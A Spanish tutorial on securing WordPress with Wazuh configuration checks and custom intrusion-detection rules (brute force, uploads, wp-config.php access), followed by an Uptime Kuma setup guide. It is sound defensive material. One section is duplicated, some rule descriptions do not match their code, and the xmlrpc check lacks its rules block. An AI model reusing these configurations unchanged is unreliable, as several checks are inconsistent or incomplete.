 La comprobación de seguridad en WordPress se basa en la aplicación de políticas definidas en un archivo YAML. A continuación, se describe cómo crearlas e implementarlas en Wazuh. 

 sudo su

mkdir /home/local_sca_policies/

touch /home/local_sca_policies/custom_wordpress_policy.yml

nano /home/local_sca_policies/custom_wordpress_policy.yml 

 Creamos nuestras propias reglas/políticas que debe cumplir Wazuh, definiendo cada una en el archivo  custom_wordpress_policy.yml . 

 # Security Configuration Assessment

# Hardening policies for WordPress installations

policy:

 id: "wordpress_assessment"

 file: "custom_wordpress_policy.yml"

 name: "Comprobación de configuración de seguridad para instalaciones de WordPress."

 description: "Guía para establecer una configuración segura en instalaciones de WordPress."

 references:

 - https://wordpress.org/support/article/hardening-wordpress/

 - https://wpsecuritychecklist.org/items/

requirements:

 title: "Verificar que el endpoint sea un host de WordPress y que tenga instalada la herramienta wp-cli."

 description: "Requisitos para ejecutar el escaneo de SCA contra la política de configuración de WordPress."

 condition: all

 rules:

 - 'f:$wp_install_dir/wp-config.php'

 - 'c:wp --info --allow-root -> r:^WP\pCLI\sversion\p'

variables:

 $wp_install_dir: /var/www/html # Example: /var/www/html

 $wp_host: http://172.19.0.5:8000/ # Examples: https://example.com 

 $wp_user: admin # Example: admin

 $wp_security_plugin: wordfence # Example: wordfence 

checks:

 

 En checks , agregamos las siguientes líneas, que explicaremos a continuación:  

 Regla 1. ID=100000 

 

 Propósito:  Evitar exploits en versiones antiguas con vulnerabilidades conocidas (CVE). 

 Cuándo actúa:  Cuando la versión instalada es inferior a la última estable publicada en wordpress.org . 

 Acción: Actualizar WordPress a la última versión estable disponible. 

 

 - id: 100000

 title: "Fortalecimiento de WordPress: Asegurar que la versión de WordPress esté actualizada."

 description: "La versión instalada de WordPress debe ser la última versión disponible en https://wordpress.org/download/."

 rationale: "Pueden descubrirse nuevas vulnerabilidades en WordPress. Es importante actualizar a la última versión para evitar que se exploten vulnerabilidades descubiertas en versiones antiguas."

 remediation: "Actualizar WordPress a la última versión."

 condition: all

 rules:

 - c:runuser -l $wp_user -c "wp core check-update --path=$wp_install_dir" -> r:WordPress\sis\sat\sthe\slatest\sversion 

 Regla 2. ID=100001 

 

 Propósito: Establecer permisos adecuados en el archivo .htaccess . 

 Condición:  Cuando los permisos del archivo .htaccess no son 644. 

 Acción:  Establecer los permisos del archivo .htaccess a 644. 

 

 - id: 100001

 title: "Fortalecimiento de WordPress: Asegurar que los permisos del archivo .htaccess estén configurados en 644."

 description: "Esta política verifica los permisos del archivo .htaccess en el directorio raíz de la instalación de WordPress."

 rationale: "Usuarios no autorizados podrían leer el archivo .htaccess si los permisos no son lo suficientemente estrictos. Además, permisos demasiado restrictivos pueden causar errores al cargar un sitio de WordPress."

 remediation: "Establecer los permisos del archivo en 644 ejecutando el comando chmod 644 $wp_install_dir/.htaccess"

 condition: all

 rules:

 - c:stat -c '%a' $wp_install_dir/.htaccess -> r:644 

 Regla 3. ID=100002 

 

 Propósito : Desactivar la depuración en WordPress. 

 Condición : Si la constante WP_DEBUG en wp-config.php está configurada como true. 

 Acción : Configurar la constante WP_DEBUG como false en el archivo wp-config.php. 

 

 - id: 100002

 title: "Fortalecimiento de WordPress: Asegurar que la depuración de WordPress esté desactivada."

 description: "Esta política verifica si la depuración de WordPress está habilitada en el archivo wp-config.php."

 rationale: "Cuando WP_DEBUG está habilitado, se muestra información detallada sobre errores en las páginas del sitio web. Esto puede incluir información sobre errores, funciones obsoletas y código vulnerable que puede ser explotado por actores maliciosos."

 remediation: "Desactivar la depuración de WordPress estableciendo la variable WP_DEBUG en wp-config.php en false."

 condition: none

 rules:

 - c:runuser -l $wp_user -c "wp config list WP_DEBUG --path=$wp_install_dir" -> r:true|1 

 Regla 4. ID=100003 

 

 Propósito : Eliminar archivos de respaldo no necesarios. 

 Condición : Si existen archivos .zip ,  .bak ,  .old , etc., en el directorio raíz. 

 Acción : Eliminar archivos de respaldo no necesarios del directorio raíz. 

 

 - id: 100003

 title: "Fortalecimiento de WordPress: Asegurar que no haya archivos de respaldo (.zip, .back, .bac, .old) en el directorio raíz de la instalación de WordPress."

 description: "Esta política verifica si hay archivos de respaldo o comprimidos del sitio web o plugins en el directorio raíz de la instalación de WordPress."

 rationale: "Se pueden crear archivos de respaldo de algunos archivos de configuración sensibles, como wp-config.php.bak, antes de editar la configuración en vivo. Dado que estos archivos ya no terminan en .php, no son procesados por el motor de PHP y pueden ser leídos por cualquiera. Esto puede llevar a la divulgación de información sensible."

 remediation: "Realizar una limpieza de medios para eliminar bases de datos, archivos antiguos y de respaldo. Además, dejar solo los archivos necesarios en el directorio raíz de la instalación de WordPress."

 condition: none

 rules:

 - c:sh -c "cd $wp_install_dir; ls -la" -> r:.zip|.back|.backup|.bak|.old|.previous|.sql

 

 Regla 5. ID=100004 

 

 Propósito : Asegurar la seguridad de las cuentas administrativas. 

 Condición : Si hay cuentas administrativas con nombres comunes ( admin ,  webmaster , etc.). 

 Acción : Renombrar las cuentas administrativas que utilizan nombres comunes por otros menos predecibles. 

 

 - id: 100004

 title: "Fortalecimiento de WordPress: Asegurar que no se utilicen nombres de cuentas administrativas comunes."

 description: "Esta política verifica si se utilizan nombres de cuentas administrativas comunes (por ejemplo, admin, administrator, webmaster)."

 rationale: "El uso de nombres de cuentas administrativas comunes aumenta la probabilidad de un ataque de fuerza bruta exitoso."

 remediation: "Renombrar todas las cuentas administrativas predeterminadas y utilizar nombres de cuentas administrativas poco comunes."

 condition: none

 rules:

 - c:runuser -l $wp_user -c "wp user list --field=user_login --path=$wp_install_dir" -> r:admin|administrator|backup|webmaster

 

 Regla 6. ID=100005 

 

 Propósito : Deshabilitar la navegación de directorios. 

 Condición : Si no está configurada la directiva Options -Indexes en el archivo .htaccess. 

 Acción : Agregar la directiva Options -Indexes en el archivo .htaccess. 

 

 

 - id: 100005

 title: "Fortalecimiento de WordPress: Asegurar que la navegación de directorios esté deshabilitada."

 description: "Esta política verifica si se puede listar el contenido de directorios sensibles (por ejemplo, wp-includes, wp-admin, wp-content)."

 rationale: "Cuando la navegación de directorios está habilitada en un servidor web, puede llevar a la divulgación de información sensible y permitir el listado del contenido de directorios privilegiados."

 remediation: "Deshabilitar la navegación de directorios agregando 'Options All -Indexes' en el archivo .htaccess de esta instalación de WordPress."

 condition: all

 rules:

 - c:cat $wp_install_dir/.htaccess -> r:Options\sAll\s\.Indexes 

 Regla 7. ID=100006 

 

 Propósito : Establecer los permisos de las carpetas principales. 

 Condición : Si los permisos de las carpetas principales (wp-admin, wp-includes, wp-content) no son 755. 

 Acción : Establecer los permisos de las carpetas principales a 755. 

 

 - id: 100006

 title: "Fortalecimiento de WordPress: Asegurar que los permisos de las carpetas de WordPress estén configurados en 755."

 description: "Esta política verifica los permisos de las carpetas en las instalaciones de WordPress."

 rationale: "El uso de permisos incorrectos en las carpetas de una instalación de WordPress puede dejar los archivos en esos directorios expuestos a modificaciones no autorizadas."

 remediation: "Establecer todas las carpetas en el directorio de WordPress en 755 usando el comando chmod."

 condition: all

 rules:

 - c:stat -c '%a' $wp_install_dir/wp-admin -> r:755

 - c:stat -c '%a' $wp_install_dir/wp-includes -> r:755

 - c:stat -c '%a' $wp_install_dir/wp-content -> r:755

 - c:stat -c '%a' $wp_install_dir/wp-content/plugins -> r:755

 - c:stat -c '%a' $wp_install_dir/wp-content/themes -> r:755 

 Regla 8. ID=100007 

 

 Propósito : Evitar exploits por temas desactualizados. 

 Condición : Si hay temas con actualizaciones pendientes. 

 Acción : Actualizar temas automáticamente. 

 

 - id: 100007

 title: "Fortalecimiento de WordPress: Asegurar que no haya plugins desactualizados."

 description: "Esta política verifica que no haya plugins de WordPress desactualizados en esta instalación de WordPress."

 rationale: "Los plugins desactualizados pueden tener vulnerabilidades que actores maliciosos pueden explotar para tomar el control de un sitio de WordPress y, posteriormente, del servidor."

 remediation: "Actualizar todos los plugins de WordPress."

 condition: none

 rules:

 - c:runuser -l $wp_user -c "wp plugin list --field=update --path=$wp_install_dir" -> r:available 

 Regla 9. ID=100008 

 

 Propósito : Proteger el sitio con un plugin de seguridad. 

 Condición : Si el plugin $wp_security_plugin no está activo. 

 Acción : Activar el plugin de seguridad. 

 

 - id: 100008

 title: "Fortalecimiento de WordPress: Asegurar que no haya temas de WordPress desactualizados."

 description: "Esta política verifica que no haya temas de WordPress desactualizados en esta instalación de WordPress."

 rationale: "Los temas desactualizados pueden tener vulnerabilidades que actores maliciosos pueden explotar para tomar el control de un sitio de WordPress y, posteriormente, del servidor."

 remediation: "Actualizar todos los temas de WordPress."

 condition: none

 rules:

 - c:runuser -l $wp_user -c "wp theme list --field=update --path=$wp_install_dir" -> r:available 

 Regla 10. ID=100009 

 

 Propósito : Reforzar la seguridad básica del sitio con herramientas especializadas. 

 Condición : Si el plugin de seguridad definido en  $wp_security_plugin no está activo. 

 Acción : Instalar y activar el plugin de seguridad configurado (ej: Wordfence, Sucuri. 

 

 - id: 100009

 title: "Fortalecimiento de WordPress: Asegurar que un plugin de seguridad esté instalado y activo."

 description: "Esta política verifica si el plugin de seguridad de WordPress especificado por la organización ($wp_security_plugin) está instalado."

 rationale: "Los plugins de seguridad pueden proporcionar una medida de protección contra exploits comunes dirigidos a sitios web de WordPress, como ataques de fuerza bruta e inyecciones SQL. La presencia de un plugin de seguridad reducirá significativamente la superficie de ataque."

 remediation: "Instalar y activar el plugin de seguridad $wp_security_plugin."

 condition: all

 rules:

 - c:runuser -l $wp_user -c "wp plugin is-active $wp_security_plugin --path=$wp_install_dir; echo $?" -> r:0

 

 Regla 11. ID=100010 

 

 Propósito : Proteger información sensible en el archivo de configuración 

 Condición : Si  wp-config.php  es accesible desde el navegador (HTTP 200) 

 Acción : Configurar el servidor web para denegar acceso a  wp-config.php  (HTTP 403/404). 

 

 - id: 100010

 title: "Fortalecimiento de WordPress: Asegurar que el archivo wp-config.php no sea accesible públicamente."

 description: "Esta política verifica si el archivo wp-config.php es accesible desde el navegador."

 rationale: "El archivo wp-config.php contiene credenciales y configuraciones críticas. Si es accesible públicamente, un atacante podría extraer información sensible."

 remediation: "Asegurar que el servidor web bloquea el acceso a wp-config.php mediante reglas en .htaccess o configuración de Nginx."

 condition: all

 rules:

 - c:curl -I $wp_host/wp-config.php -> r:403|404 

 Regla 12. ID=100011 

 

 Propósito:  Eliminar vectores de ataque a través de XML-RPC 

 Cuándo actúa: Si  xmlrpc.php  responde a solicitudes (no devuelve 403/404). . 

 Acción: Bloquear acceso al archivo. 

 

 - id: 100011

 title: "Verificar si xmlrpc.php está accesible desde la web."

 description: "Si xmlrpc.php responde a solicitudes HTTP, podría ser un riesgo de seguridad."

 rationale: "Si este archivo no es necesario, es recomendable bloquear el acceso desde el servidor web."

 remediation: "Bloquear el acceso a xmlrpc.php en el servidor web configurando las reglas adecuadas en .htaccess o nginx."

 condition: all 

 Regla 13. ID=100012 

 

 Propósito: Evitar la enumeración de usuarios a través de la API REST. 

 Cuándo actúa: Si /wp-json/wp/v2/users expone nombres de usuario o IDs. 

 Acción:  Restringir el endpoint con autenticación o deshabilitarlo. 

 

 - id: 100012

 title: "Verificar si la API REST de WordPress expone usuarios."

 description: "Si el endpoint /wp-json/wp/v2/users devuelve datos en JSON y no un error de acceso, los nombres de usuario pueden ser extraídos."

 rationale: "Exponer usuarios a través de la API REST facilita ataques de fuerza bruta y enumeración de cuentas."

 remediation: "Restringir el acceso al endpoint o deshabilitar la API REST si no es necesaria."

 condition: all

 rules:

 - c:curl -s $wp_host/wp-json/wp/v2/users | grep -E '"id":| "name":' -> r:.* 

 Configurar el Agente de Wazuh 

 Para que Wazuh pueda realizar el análisis de seguridad en la instalación de WordPress, es necesario configurar el agente en el servidor para que envíe los registros hacia el servidor y sea procesado. 

 Editar la configuración del agente para habilitar el análisis SCA: 

 sudo nano /var/ossec/etc/ossec.conf 

 

 Agregar la configuración necesaria dentro del archivo de configuración del agente: 

 <policies>

 <policy>/home/local_sca_policies/custom_wordpress_policy.yml</policy>

</policies> 

 

 Reiniciar el agente de Wazuh para aplicar los cambios: 

 /var/ossec/bin/wazuh-control restart 

 

 Verificación de Resultados 

 Una vez configurado el análisis de seguridad en Wazuh, puedes verificar los resultados desde la interfaz gráfica. 

 

 Accede a la interfaz de Wazuh. 

 Navega a Security Configuration Assessment. 

 

 

 

 Revisa los resultados del módulo SCA de seguridad en WordPress. 

 

 

 

 Aplica las recomendaciones de Wazuh para corregir vulnerabilidades identificadas. 

 

 

 Alertas de Wazuh en Wordpress 

 CREACIÓN DE REGLAS PERSONALIZADAS. 

 A continuación explicaremos la creación de reglas personalizadas que responderán ante distintos casos de intentos de intrusión. 

 Nos dirigimos al archivo local_rules  

 sudo nano /var/ossec/etc/rules/local_rules.xml 

 Para identificar distintos patrones de comportamiento anómalo en nuestro servidor, editamos el archivo con las siguientes reglas personalizadas. Es importante tener en cuenta que dichas reglas deben estar incluidas en un grupo para garantizar el orden y facilitar su visualización. 

 Regla 1. ID=100010 

 

 Eventos reconocidos: Intentos de acceso a wp-admin mediante cualquier método HTTP. 

 Ayuda a identificar: Posibles intentos de autenticación fallida o accesos no autorizados. 

 Cuándo se aplica: Cuando hay tráfico dirigido a la URL wp-admin. 

 Regla en formato XML: 

 

 <rule id="100010" level="6">

 <if_sid>31100,31101,31108</if_sid>

 <url>wp-admin</url>

 <protocol>GET|POST|PUT|DELETE</protocol>

 <description>Intento de acceso a wp-admin desde $(srcip)</description>

 <group>wordpress,authentication_failed,</group>

</rule> 

 Regla 2. ID=100011 

 

 Eventos reconocidos: Subidas de archivos mediante async-upload.php usando métodos POST o PUT. 

 Ayuda a identificar: Posibles intentos de subida de archivos maliciosos a través de WordPress. 

 Cuándo se aplica: Cuando se detecta tráfico hacia wp-admin/async-upload.php. 

 Regla en formato XML: 

 

 <rule id="100011" level="6">

 <if_sid>100010</if_sid>

 <url>/wp-admin/async-upload.php</url>

 <protocol>POST|PUT</protocol>

 <description>Subida de archivos mediante async-upload de WordPress desde $(srcip)</description>

 <group>wordpress,authentication_failed,</group>

</rule> 

 Regla 3. ID=100012 

 

 Eventos reconocidos: Peticiones a admin-ajax.php con métodos POST o PUT. 

 Ayuda a identificar: Uso potencial de acciones AJAX en el administrador de WordPress, que pueden ser explotadas por atacantes. 

 Cuándo se aplica: Cuando se detecta tráfico hacia 

 wp-admin/admin-ajax.php. 

 

 Regla en formato XML: 

 

 <rule id="100012" level="6">

 <if_sid>100010</if_sid>

 <url>/wp-admin/admin-ajax.php</url>

 <protocol>POST|PUT</protocol>

 <description>Ejecución de una acción AJAX en el panel de administración desde $(srcip)</description>

 <group>wordpress,authentication_failed,</group>

</rule> 

 Regla 4. ID=100013 

 

 Eventos reconocidos: Múltiples intentos de acceso fallidos a wp-admin en un corto período (20 intentos en 120 segundos). 

 Ayuda a identificar: Ataques de fuerza bruta contra la autenticación de WordPress. 

 Cuándo se aplica: Cuando se detectan múltiples intentos desde la misma IP en un tiempo determinado. 

 Regla en formato XML: 

 

 <rule id="100013" level="11" frequency="20" timeframe="120">

 <if_matched_sid>100010</if_matched_sid>

 <same_source_ip />

 <description>Múltiples intentos de acceso a wp-admin desde $(srcip)</description>

 <mitre>

 <id>T1110</id>

 <id>T1110.001</id>

 </mitre>

 <group>attack,brute_force,wordpress,web,</group>

</rule> 

 Regla 5. ID=100014 

 

 

 Eventos reconocidos: Accesos a directorios de plugins de WordPress mediante patrones en la URL. 

 

 

 Ayuda a identificar: Posibles exploraciones en busca de vulnerabilidades en plugins. 

 

 

 Cuándo se aplica: Cuando una URL coincide con 

 /wp-content/plugins/([^/]+)/. 

 

 Regla en formato XML: 

 

 <rule id="100014" level="8">

 <if_sid>31103</if_sid>

 <url type="pcre2">/wp-content/plugins/([^/]+)/</url>

 <description>Acceso a plugin WordPress posiblemente vulnerable: $(url) desde $(srcip)</description>

 <mitre>

 <id>T1190</id>

 </mitre>

</rule> 

 Regla 6. ID=100015 

 

 

 Eventos reconocidos: Modificación del archivo wp-config.php. 

 

 

 Ayuda a identificar: Alteraciones en un archivo crítico que podrían indicar una intrusión. 

 

 

 Cuándo se aplica: Cuando se detecta un cambio en 

 /var/www/html/wp-config.php. 

 

 Regla en formato XML: 

 

 <rule id="100015" level="10">

 <if_group>syscheck</if_group>

 <field name="file">/var/www/html/wp-config.php</field>

 <description>Cambio detectado en archivo crítico wp-config.php</description>

</rule>

Alertas de Wazuh en Wordpress
ANÁLISIS DE REGISTROS WEB EN WORDPRESS 

 Los registros de acceso web en WordPress contienen información valiosa sobre las interacciones de los usuarios, acciones administrativas y posibles intentos de intrusión. El análisis detallado de estos logs permite identificar patrones de comportamiento legítimo, así como actividades, subidas de archivos no autorizados o explotación de vulnerabilidades en endpoints críticos. 

 Para ello desarrollamos una guía práctica utilizando Wazuh Manager como SIEM, para la creación de reglas personalizadas de detección, basadas en eventos locales y ataques previamente identificados en el entorno. Estas reglas permitirán: 

 

 Detección de intentos de intrusión (fuerza bruta, subidas de archivos maliciosos, comportamiento anómalo). 

 Monitoreo de accesos sospechosos a terminales desde el panel de administración (wp-admin). 

 Generación de alertas tempranas ante comportamientos anómalos (Solicitudes AJAX múltiples desde la misma IP, modificaciones no autorizadas en la biblioteca de medios). 

 

 A partir de casos reales, se almacenaron distintos tipos de peticiones analizadas múltiples servidores, se establecerán criterios para identificar amenazas. El objetivo final es fortalecer la seguridad del sitio WordPress mediante un sistema de monitoreo proactivo, adaptado a necesidades específicas. 

 CREACIÓN DE REGLAS PERSONALIZADAS. 

 A continuación explicaremos la creación de reglas personalizadas que responderán ante distintos casos de intentos de intrusión. 

 Nos dirigimos al archivo local_rules  

 sudo nano /var/ossec/etc/rules/local_rules.xml 

 Para identificar distintos patrones de comportamiento anómalo en nuestro servidor, editamos el archivo con las siguientes reglas personalizadas. Es importante tener en cuenta que dichas reglas deben estar incluidas en un grupo para garantizar el orden y facilitar su visualización. 

 Regla 1. ID=100010 

 

 Eventos reconocidos: Intentos de acceso a wp-admin mediante cualquier método HTTP. 

 Ayuda a identificar: Posibles intentos de autenticación fallida o accesos no autorizados. 

 Cuándo se aplica: Cuando hay tráfico dirigido a la URL wp-admin. 

 Regla en formato XML: 

 

 <rule id="100010" level="6">

 <if_sid>31100,31101,31108</if_sid>

 <url>wp-admin</url>

 <protocol>GET|POST|PUT|DELETE</protocol>

 <description>Intento de acceso a wp-admin desde $(srcip)</description>

 <group>wordpress,authentication_failed,</group>

</rule> 

 Regla 2. ID=100011 

 

 Eventos reconocidos: Subidas de archivos mediante async-upload.php usando métodos POST o PUT. 

 Ayuda a identificar: Posibles intentos de subida de archivos maliciosos a través de WordPress. 

 Cuándo se aplica: Cuando se detecta tráfico hacia wp-admin/async-upload.php. 

 Regla en formato XML: 

 

 <rule id="100011" level="6">

 <if_sid>100010</if_sid>

 <url>/wp-admin/async-upload.php</url>

 <protocol>POST|PUT</protocol>

 <description>Subida de archivos mediante async-upload de WordPress desde $(srcip)</description>

 <group>wordpress,authentication_failed,</group>

</rule> 

 Regla 3. ID=100012 

 

 Eventos reconocidos: Peticiones a admin-ajax.php con métodos POST o PUT. 

 Ayuda a identificar: Uso potencial de acciones AJAX en el administrador de WordPress, que pueden ser explotadas por atacantes. 

 Cuándo se aplica: Cuando se detecta tráfico hacia 

 wp-admin/admin-ajax.php. 

 

 Regla en formato XML: 

 

 <rule id="100012" level="6">

 <if_sid>100010</if_sid>

 <url>/wp-admin/admin-ajax.php</url>

 <protocol>POST|PUT</protocol>

 <description>Ejecución de una acción AJAX en el panel de administración desde $(srcip)</description>

 <group>wordpress,authentication_failed,</group>

</rule> 

 Regla 4. ID=100013 

 

 Eventos reconocidos: Múltiples intentos de acceso fallidos a wp-admin en un corto período (20 intentos en 120 segundos). 

 Ayuda a identificar: Ataques de fuerza bruta contra la autenticación de WordPress. 

 Cuándo se aplica: Cuando se detectan múltiples intentos desde la misma IP en un tiempo determinado. 

 Regla en formato XML: 

 

 <rule id="100013" level="11" frequency="20" timeframe="120">

 <if_matched_sid>100010</if_matched_sid>

 <same_source_ip />

 <description>Múltiples intentos de acceso a wp-admin desde $(srcip)</description>

 <mitre>

 <id>T1110</id>

 <id>T1110.001</id>

 </mitre>

 <group>attack,brute_force,wordpress,web,</group>

</rule> 

 Regla 5. ID=100014 

 

 

 Eventos reconocidos: Accesos a directorios de plugins de WordPress mediante patrones en la URL. 

 

 

 Ayuda a identificar: Posibles exploraciones en busca de vulnerabilidades en plugins. 

 

 

 Cuándo se aplica: Cuando una URL coincide con 

 /wp-content/plugins/([^/]+)/. 

 

 Regla en formato XML: 

 

 <rule id="100014" level="8">

 <if_sid>31103</if_sid>

 <url type="pcre2">/wp-content/plugins/([^/]+)/</url>

 <description>Acceso a plugin WordPress posiblemente vulnerable: $(url) desde $(srcip)</description>

 <mitre>

 <id>T1190</id>

 </mitre>

</rule> 

 Regla 6. ID=100015 

 

 

 Eventos reconocidos: Modificación del archivo wp-config.php. 

 

 

 Ayuda a identificar: Alteraciones en un archivo crítico que podrían indicar una intrusión. 

 

 

 Cuándo se aplica: Cuando se detecta un cambio en 

 /var/www/html/wp-config.php. 

 

 Regla en formato XML: 

 

 <rule id="100015" level="10">

 <if_group>syscheck</if_group>

 <field name="file">/var/www/html/wp-config.php</field>

 <description>Cambio detectado en archivo crítico wp-config.php</description>

</rule>

Monitoreo Pasivo de recursos
El monitoreo pasivo es una de las funciones clave que se utilizan para detectar y responder a incidentes de seguridad. Implica la observación no intrusiva mediante fuentes de información de seguridad, sin interactuar directamente con los activos. Su objetivo principal es detectar amenazas e incidentes de seguridad al escuchar lo que sucede en el entorno.

Uptime Kuma
Manual de despliegue herramienta Uptime Kuma 

 Este manual sirve como una guía paso a paso para la instalación y configuración de Uptime Kuma, una herramienta de monitoreo de código abierto. A lo largo de este manual, exploraremos cómo implementar esta solución para supervisar la disponibilidad de servicios y sitios web, permitiéndote recibir alertas en tiempo real sobre cualquier interrupción. 

 Con Uptime Kuma, obtendrás una visión clara y proactiva del estado de tus sistemas, garantizando la estabilidad y el rendimiento que tus proyectos y clientes merecen. 

 1. Instalación de Docker Compose y dependencias en el servidor. 

 Ejecuta las siguientes órdenes para preparar el entorno: 

 sudo apt update

sudo apt upgrade -y 

 Página oficial de instalación de Docker, caso Ubuntu.  En caso de instalación mediante los pasos de la página, en el manual se tiene un resumen con los comandos a utilizar para la instalación mediante el repositorio de Docker de fuentes APT. 

 Agregar la clave GPG oficial de Docker 

 sudo apt-get update

sudo apt-get install -y ca-certificates curl

sudo install -m 0755 -d /etc/apt/keyrings

sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc

sudo chmod a+r /etc/apt/keyrings/docker.asc 

 Añadir el repositorio de Docker a las fuentes de APT 

 echo \

 "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \

 $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \

 sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

sudo apt-get update 

 Instalar Docker y complementos en su versión actual. 

 sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin 

 Probar la instalación de Docker. 

 sudo docker run hello-world 

 Respuesta esperada del terminal: 

 

 1.1. Configuración de docker post instalación. 

 Agregar el usuario actual al grupo docker: 

 sudo usermod -aG docker $USER 

 Habilitar el inicio automático de Docker con systemd. 

 sudo systemctl enable docker.service

sudo systemctl enable containerd.service 

 Respuesta esperada del terminal: 

 

 2. Instalación de uptime Kuma con servicio docker. 

 

 Clonar el repositorio de Uptime Kuma 

 

 git clone https://github.com/louislam/uptime-kuma.git 

 Respuesta esperada del terminal: 

 

 

 Desplegar Uptime Kuma en Docker 

 

 docker run -d --restart=always -p 3001:3001 -v uptime-kuma:/app/data --name laboratorio-kuma louislam/uptime-kuma:1 

 Verifica que el contenedor esté en ejecución 

 docker ps 

 

 

 Acceso desde el navegador 

 

 Abre en tu navegador en el siguiente enlace y selecciona el idioma Español antes de continuar. 

 http://IP_servidor:3001/setup  

 Observará la siguiente página de inicio una vez desplegado el docker: 

 

 Es fundamental crear un usuario y una contraseña robustos para proteger tu información. Elige un nombre de usuario que no revele datos personales y combina caracteres alfanuméricos, símbolos y mayúsculas/minúsculas en tu contraseña. 

 3. Primeros pasos post instalación 

 Verificamos la pantalla de inicio. 

 

 3.1. Doble factor de autenticación (2FA). 

 Para comenzar, usa la aplicación de autenticación de tu preferencia en tu dispositivo móvil y escanea el código QR que se presenta a continuación. Esta acción activará una capa de seguridad esencial que requiere un código único y temporal en cada inicio de sesión, lo cual es fundamental para proteger tu información. 

 

 Una vez escaneado el token, la aplicación proporcionará un código de 6 dígitos y se debe colocar para verificar el token y presionar el botón “Verificar token”. 

 

 3.2. Añadir Nuevos Monitores en Uptime Kuma 

 Uptime Kuma permite crear distintos tipos de monitores para supervisar servicios, aplicaciones y recursos de red. Al agregar un monitor, se despliega una lista con varias categorías y parámetros, cada una enfocada en un tipo específico de verificación. 

 Primeramente verificaremos que tipos de monitores existen para uptime Kuma. 

 

 Monitor Tipo General 

 

 Entre los más utilizados podemos destacar: 

 

 

 

 Group: Agrupa varios monitores en una sola categoría para organizarlos y ver su estado de forma conjunta. 

 HTTP(s): Comprueba si un sitio web responde correctamente mediante HTTP o HTTPS. 

 DNS: Revisa la resolución de un dominio, confirmando que el servidor DNS responda correctamente. 

 Contenedor de Docker: Supervisa el estado de un contenedor Docker específico. 

 

 

 

 También tenemos la opción de utilizar para monitorear lo siguiente: 

 

 

 

 TCP Port: Verifica que un puerto TCP específico de un host esté abierto y aceptando conexiones. 

 Ping: Envía paquetes ICMP para medir la latencia y disponibilidad de un host. 

 HTTP(s) – Palabra clave: Valida que una palabra o frase aparezca en el contenido de una página web. 

 HTTP(s) – Consulta JSON: Analiza una respuesta en formato JSON y evalúa valores clave. 

 gRPC(s) – Palabra clave: Comprueba servicios gRPC y busca una cadena de texto en la respuesta. 

 HTTP(s) – Browser Engine (Chrome/Chromium) (Beta): Realiza una prueba con un motor de navegador real para verificar la carga de una página (útil para sitios dinámicos con JavaScript). 

 

 

 Monitor Tipo Pasivo 

 

 Push: El servidor monitoreado envía (“push”) una señal a Uptime Kuma en intervalos establecidos. Ideal para sistemas que no permiten consultas externas. 

 

 

 Monitor Tipo Específico 

 

 Entre los más utilizados podemos destacar: 

 

 

 

 PostgreSQL: Verifica la conexión a una base de datos PostgreSQL. 

 MySQL/MariaDB: Controla la disponibilidad de servidores MySQL o MariaDB. 

 MongoDB: Monitorea el acceso a una base de datos MongoDB. 

 Radius: Comprueba la autenticación a través del protocolo RADIUS. 

 Redis: Controla el estado de un servidor de base de datos en memoria Redis. 

 

 

 

 También tenemos la opción de utilizar para monitorear lo siguiente: 

 

 

 

 Servidor de Juegos de Steam: Monitorea la disponibilidad de servidores de juegos que utilizan el protocolo Steam. 

 GameDig: Compatible con múltiples motores de juego; verifica que un servidor de juegos esté en línea. 

 MQTT: Supervisa brokers del protocolo MQTT, común en IoT. 

 Kafka Producer: Comprueba la conectividad y funcionamiento de productores Kafka. 

 Microsoft SQL Server: Evalúa la disponibilidad de una base de datos MS SQL. 

 

 

 

 3.3. Procedimiento Básico 

 En resumen para poder añadir un nuevo monitor deben seguirse los pasos generales: 

 

 Inicia sesión en Uptime Kuma. 

 Haz clic en “Nuevo Monitor”. 

 Selecciona el Tipo de Monitor de la lista. 

 Completa los campos solicitados (URL, host, puerto, credenciales, etc.). 

 Guarda la configuración para comenzar la supervisión. 

 

 Ejemplo 1. Monitor HTTPs. 

 

 

 Identificación de parámetros importantes: 

 

 Intervalo de Latido (Heartbeat Interval): Es el tiempo que Uptime Kuma espera para realizar una verificación regular del servicio (En este ejemplo, cada 300 segundos). 

 Fallo inicial : Si la verificación falla (el servicio no responde), Uptime Kuma no lo marca inmediatamente como "caído". 

 Intervalo de reintento de latido : Entre cada uno de estos reintentos, Uptime Kuma espera el tiempo especificado en el Heartbeat Retry Interval (en tu caso, 300 segundos). Esto es crucial para evitar falsos positivos por fallos temporales en la red o el servidor. 

 Tiempo de espera máximo de petición  (Request Timeout). Es el tiempo que Uptime Kuma esperará por una respuesta del servidor antes de considerar que el intento de conexión ha fallado. 

 Notificación de Caducidad del Certificado. Esta opción te permite establecer un umbral, en días, para recibir una Notificación de Caducidad del Certificado antes de que el certificado SSL/TLS de un sitio web expire. Esto es útil para prevenir interrupciones en el servicio. 

 Ignorar errores TLS/SSL para sitios web HTTPS. Es una configuración que te permite forzar a Uptime Kuma a ignorar los problemas con los certificados, como los que son autofirmados, caducados o que no coinciden con el nombre de dominio. Esto es útil para monitorear servicios en desarrollo o entornos de prueba, pero no es recomendable para sitios en producción debido a riesgos de seguridad. 

 Add the "uptime_kuma_cachebuster" parameter. Uptime Kuma añade un parámetro aleatorio (?uptime_kuma_cachebuster=<valor>) al final de la URL que está monitoreando. Esto obliga al servidor web a servir la página directamente desde el servidor y no desde una caché, lo que te asegura que estás monitoreando el estado en tiempo real del sitio web. 

 Modo invertido (Inverted Mode). Cambia la lógica del monitor. En lugar de notificar cuando un servicio está "caído," el monitor notificará cuando el servicio está "en línea" (UP). Esto es útil para monitorear servicios que deben estar fuera de línea, como un servidor de respaldo que solo se enciende para una tarea específica. 

 Redirecciones máximas (Max. Redirects). Definen el número máximo de redirecciones HTTP que Uptime Kuma seguirá al monitorear una URL. Si el número de redirecciones supera este valor, el monitor marcará el estado del servicio como "caído" o con un error. 

